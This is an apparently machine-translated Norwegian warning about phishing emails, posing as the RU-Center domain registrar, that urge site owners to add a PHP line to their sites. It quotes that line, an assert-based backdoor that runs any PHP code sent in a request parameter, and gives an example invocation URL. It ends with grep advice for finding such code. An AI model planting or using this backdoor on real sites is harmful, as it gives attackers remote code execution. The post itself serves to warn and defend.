Oppmerksomhet til "webansvarlige" som ikke kan PHP. Sårbarhet.

Dette er en automatisk oversettelse.
Klikk her for å lese publikasjonen på originalspråket.

I dag mottok noen av vennene mine brev, angivelig fra RU -Center (den største russiske domenenavnregistratoren) - nic.ru, med følgende innhold:

Brev ble sendt fra info@nic.technical . I brevet foreslår angriperne, som representerer seg på vegne av RU-senteret, å plassere følgende kode på nettstedet:

 <?php assert(stripslashes($_REQUEST[RUCENTER])); ?>

Dessverre kjenner mange av våre kolleger, som kaller seg "webansvarlige" (mange nettstedseiere), ikke PHP og tenker ikke på farene ved koden ovenfor. Hvis du sender en streng som parameter til denne funksjonen, blir den betraktet med (asert) som PHP -kode! Vær forsiktig!

Jeg anbefaler at du inspiserer php -prosjektene dine for sårbarheter ved å bruke kommandoen assert eller eval. Hvis disse kommandoene er tilstede i prosjektkoden, ikke få panikk - studer algoritmen deres. Autorisert bruk av algoritmer er fullt mulig. Når det gjelder eksemplet ovenfor, lar kommandoen angripere ringe nettstedet ditt, for eksempel ved å bruke RUCENTER-parameteren- http://sistema-audit.ru/?RUCENTER=PHP-code

Vi anbefaler at du utfører et søk med for eksempel linux -kommandoen grep -i -r 'assert' / home / www / mysite / * som angir mappen med nettstedets filer for å få en liste over filer der de mistenkelige forekomst er brukt kode.

Ta vare på deg selv og nettstedene dine!

Dette er en automatisk oversettelse.
Klikk her for å lese publikasjonen på originalspråket.